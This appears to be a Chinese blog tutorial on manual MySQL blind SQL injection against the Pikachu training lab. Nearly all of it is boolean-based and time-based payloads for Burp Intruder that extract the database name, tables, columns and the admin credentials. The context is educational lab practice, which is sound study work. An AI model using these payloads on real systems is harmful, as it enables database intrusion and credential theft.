本次注入文章不写专栏了,直蹦主题这次文章主要记录Boolian盲注配合burp最新打法和延时注入,为了尽量让小白看懂,所以写的时候加了好多详细的东西,比较啰嗦,请各位谅解哈。
01
Mysql盲注
读者:哈?啥叫盲注?
Me:你自己去百度!
02
Boolian盲注_注入点确定
正常搜索框搜索数据
在参数后加入测试payload1
测试payload2
很熟悉的感觉对吧?那就常规套路试试(已用order by测试当前字段数为2)
没有回显哦!咋办?大佬的脑子里第一时间肯定不是盲注啊..这里先卖个关子,先盲注一波👇
03
Boolian盲注_获取数据
' and length(database())=§a§--+
判断当前数据库名字的第一位字符
' and left(database(),1)='§a§'--+
判断当前数据库第二位字符
' and left(database(),2)>'p§a§'--+
重复该步骤爆破出当前数据库pikachu
爆破指定数据库第一个表名的第一位字符
' and left((select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),1)='§a§'--+
结果:pikachu数据库第一个表的第一个字符是h
爆破指定数据库第一个表名的第二位字符
' and left((select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),2)='h§a§'--+
结果:pikachu数据库第一个表的第二个字符是t
爆破指定数据库第二个表名的第一位字符
' and left((select table_name from information_schema.tables where table_schema='pikachu' limit 1,1),1)='§a§'--+
结果:pikachu数据库第二个表的第一个字符是m
通这种方法爆破出当前数据库的所有表(httpinfo,member,message,users,xssblind)
爆破users表里的第一个表头的第一位
' and left((select column_name from information_schema.columns where table_name="users" limit 0,1),1)='§a§'--+
解释:注入payload与上面同理,把利用left函数把前面查询出来的数据进行每一位的提取,然后再通过比较符来判断。
爆破users表里的第一个表头的第二位
' and left((select column_name from information_schema.columns where table_name="users" limit 0,1),2)='u§a§'--+
爆破users表里的第二个表头的第一位
' and left((select column_name from information_schema.columns where table_name="users" limit 1,1),1)='§a§'--+
爆破users表里的第二个表头的第二位
' and left((select column_name from information_schema.columns where table_name="users" limit 1,1),2)='f§a§'--+
根据这种方法可以列出所有表头,管理员信息存放在username,password里
继续爆破username,password的内容
爆破表头username第一列的第一个字符
' and left((select username from users limit 0,1),1)='§a§'--+
爆破表头username第一列的第二个字符
' and left((select username from users limit 0,1),2)='a§a§'--+
爆破表头password第一列的第一个字符
' and left((select password from users limit 0,1),1)='§a§'--+
爆破表头password第一列的第二个字符
' and left((select username from users limit 0,1),2)='e§a§'--+
根据方法把管理员信息爆破出来后放到md5解密
账号:admin
密码:123456
04
时间盲注
延时注入其实就是盲注的一种方式,区别如下:
盲注:根据页面返回信息判断注入语句是否成立
延时注入:根据服务器返回时间确定注入语句是否成立
05
时间盲注的核心内容介绍
普通搜索框搜索内容
输入特殊字符以及其它各种payload,发现返回结果都一样
直接插入延时注入payload尝试是否存在注入
' and sleep(3)#
判断当前数据库名长度
'and if(length(database())=1,1,sleep(3))#
根据返回时间来确定语句是否成立
成立:正常返回
不成立:休眠三秒
'and if(length(database())=7,1,sleep(0.5))#
06
欠揍压轴系列
前面卖了那个关子呀,是时候来买单了。
没有回显怎么办?搜索一个不存在的id在错误页面回显不就完了吗。
是不是很迷,哈哈别打我
!声明:本文章纯属于个人学习笔记,仅提供学习交流,请各位熟读网络法切勿违法犯罪。
本文始发于微信公众号(Khan安全攻防实验室):Mysql手工盲注
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论